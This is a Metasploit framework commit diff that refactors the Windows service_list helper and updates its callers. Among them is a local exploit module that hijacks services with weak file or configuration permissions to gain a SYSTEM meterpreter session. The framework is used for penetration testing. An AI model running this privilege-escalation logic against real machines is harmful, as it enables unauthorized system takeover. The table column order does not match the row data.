Refactor service_list to return array of hashes

Update trusted_service_path, service_permissions,
net_runtime_modify and enum_services to handle change.

Refactor enum_services to tidy it up a bit
bug/bundler_fix
Meatballs 2013-12-15 03:00:29 +00:00
parent 6763d1fbd8
commit ddf23ae8e8
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
5 changed files with 77 additions and 68 deletions

View File

@ -86,16 +86,13 @@ module Services
# #
# List all Windows Services present # List all Windows Services present
# #
# @return [Array] The names of the services. # @return [Array] Hash Array with Service details (minimum :name).
# #
# @todo Rewrite to allow operating on a remote host # @todo Rewrite to allow operating on a remote host
# #
def service_list def service_list
if load_extapi if load_extapi
services = [] return session.extapi.service.enumerate
services.extapi.service.enumerate.each do service
services << service[:name]
end
else else
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
a =[] a =[]
@ -110,7 +107,7 @@ module Services
begin begin
srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s srvtype = registry_getvaldata("#{serviceskey}\\#{sk}","Type").to_s
if srvtype == "32" or srvtype == "16" if srvtype == "32" or srvtype == "16"
services << sk services << {:name => sk }
end end
rescue rescue
end end
@ -141,32 +138,39 @@ module Services
# @todo Rewrite to allow operating on a remote host # @todo Rewrite to allow operating on a remote host
# #
def service_info(name) def service_info(name)
service = {}
if load_extapi if load_extapi
svc = session.extapi.service.query(name) begin
service = { svc = session.extapi.service.query(name)
"Name" => svc[:display], service = {
"Startup" => START_TYPE[svc[:starttype]], "Name" => svc[:display],
"Command" => svc[:path], "Startup" => START_TYPE[svc[:starttype]],
"Credentials" => svc[:startname], "Command" => svc[:path],
"DACL" => svc[:dacl], "Credentials" => svc[:startname],
"LogGroup" => svc[:logroup], "DACL" => svc[:dacl],
"Interactive" => svc[:interactive], "LogGroup" => svc[:logroup],
"extended_results" => true "Interactive" => svc[:interactive],
} "extended_results" => true
else }
service = {}
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}" return service
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s rescue Rex::Post::Meterpreter::RequestError => e
srvstart = registry_getvaldata(servicekey,"Start").to_i vprint_error("Request Error #{e}")
service["Startup"] = START_TYPE[srvstart] end
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
service["DACL"] = nil
service["LogGroup"] = nil
service["Interactive"] = nil
service["extended_results"] = false
end end
servicekey = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\#{name.chomp}"
service["Name"] = registry_getvaldata(servicekey,"DisplayName").to_s
srvstart = registry_getvaldata(servicekey,"Start").to_i
service["Startup"] = START_TYPE[srvstart]
service["Command"] = registry_getvaldata(servicekey,"ImagePath").to_s
service["Credentials"] = registry_getvaldata(servicekey,"ObjectName").to_s
service["DACL"] = nil
service["LogGroup"] = nil
service["Interactive"] = nil
service["extended_results"] = false
return service return service
end end

View File

@ -115,16 +115,16 @@ class Metasploit3 < Msf::Exploit::Local
#for each service #for each service
service_list.each do |serv| service_list.each do |serv|
begin begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s srvtype = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","Type").to_s
if srvtype != "16" if srvtype != "16"
continue continue
end end
moved = false moved = false
configed = false configed = false
#default path, but there should be an ImagePath registry key #default path, but there should be an ImagePath registry key
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv[:name]}.exe")
#get path to exe; parse out quotes and arguments #get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s sourceorig = registry_getvaldata("#{serviceskey}\\#{serv[:name]}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig) sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' ) if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1] sourcemaybe = sourcemaybe.split('"')[1]
@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Local
session.fs.file.stat(sourcemaybe) #check if it really exists session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe source = sourcemaybe
rescue rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") print_status("Cannot reliably determine path for #{serv[:name]} executable. Trying #{source}")
end end
#try to exploit weak file permissions #try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
@ -145,49 +145,49 @@ class Metasploit3 < Msf::Exploit::Local
end end
#try to exploit weak config permissions #try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002) #open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2) servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
if(servhandleret["return"] != 0) if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF #SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") print_status("#{serv[:name]} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true configed = true
end end
adv.CloseServiceHandle(servhandleret["return"]) adv.CloseServiceHandle(servhandleret["return"])
end end
if(moved != true && configed != true) if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}") print_status("No exploitable weak permissions found on #{serv[:name]}")
continue continue
end end
print_status("Restarting #{serv}") print_status("Restarting #{serv[:name]}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) servhandleret = adv.OpenServiceA(manag["return"],serv[:name],0x30)
if(servhandleret["return"] != 0) if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001 #SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56)) if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000) session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil) adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") print_status("#{serv[:name]} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup #Cleanup
if moved == true if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end end
if configed == true if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2) servhandleret = adv.OpenServiceA(manag["return"],serv[:name],2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"]) adv.CloseServiceHandle(servhandleret["return"])
end end
else else
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") print_status("Could not restart #{serv[:name]}. Wait for a reboot or force one yourself.")
end end
adv.CloseServiceHandle(servhandleret["return"]) adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true if datastore['AGGRESSIVE'] != true
return return
end end
else else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") print_status("Could not restart #{serv[:name]}. Wait for a reboot. (or force one yourself)")
end end
rescue rescue
end end

View File

@ -64,8 +64,8 @@ class Metasploit3 < Msf::Exploit::Local
def enum_vuln_services(quick=false) def enum_vuln_services(quick=false)
vuln_services = [] vuln_services = []
service_list.each do |name| service_list.each do |service|
info = service_info(name) info = service_info(service[:name])
# Sometimes there's a null byte at the end of the string, # Sometimes there's a null byte at the end of the string,
# and that can break the regex -- annoying. # and that can break the regex -- annoying.

View File

@ -51,12 +51,12 @@ class Metasploit3 < Msf::Post
print_status("This may take a few minutes.") print_status("This may take a few minutes.")
# enumerate the installed .NET versions # enumerate the installed .NET versions
service_list.each do |service| service_list.each do |service|
if service =~ /clr_optimization_.*/ if service[:name] =~ /clr_optimization_.*/
info = service_info(service) info = service_info(service[:name])
paths << info['Command'] paths << info['Command']
services << service services << service[:name]
begin begin
service_stop(service) # temporarily stop the service service_stop(service[:name]) # temporarily stop the service
print_status("Found #{info['Name']} installed") print_status("Found #{info['Name']} installed")
rescue rescue
print_error("We do not appear to have access to stop #{info['Name']}") print_error("We do not appear to have access to stop #{info['Name']}")

View File

@ -56,41 +56,46 @@ class Metasploit3 < Msf::Post
print_status("Start Type Filter: " + qtype) print_status("Start Type Filter: " + qtype)
end end
results_table = Rex::Ui::Text::Table.new(
'Header' => 'Services',
'Indent' => 1,
'SortIndex' => 0,
'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
)
print_status("Listing Service Info for matching services:") print_status("Listing Service Info for matching services:")
service_list.each do |sname| service_list.each do |srv|
srv_conf = {} srv_conf = {}
isgood = true
#make sure we got a service name #make sure we got a service name
if sname if srv[:name]
begin begin
srv_conf = service_info(sname) srv_conf = service_info(srv[:name])
#filter service based on filters passed, the are cumulative #filter service based on filters passed, the are cumulative
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
isgood = false next
end
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
isgood = false
end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
isgood = false
end end
#if we are still good return the info if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
if isgood next
vprint_status("\tName: #{sname}")
vprint_good("\t\tStartup: #{srv_conf['Startup']}")
vprint_good("\t\tCommand: #{srv_conf['Command']}")
vprint_good("\t\tCredentials: #{srv_conf['Credentials']}")
end end
# There may not be a 'Startup', need to check nil
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
next
end
results_table << [srv[:name], srv_conf['Credentials'], srv_conf['Startup'], srv_conf['Command']]
rescue rescue
print_error("An error occured enumerating service: #{sname}") print_error("An error occured enumerating service: #{srv[:name]}")
end end
else else
print_error("Problem enumerating services") print_error("Problem enumerating services")
end end
end end
print_line results_table.to_s
end end
end end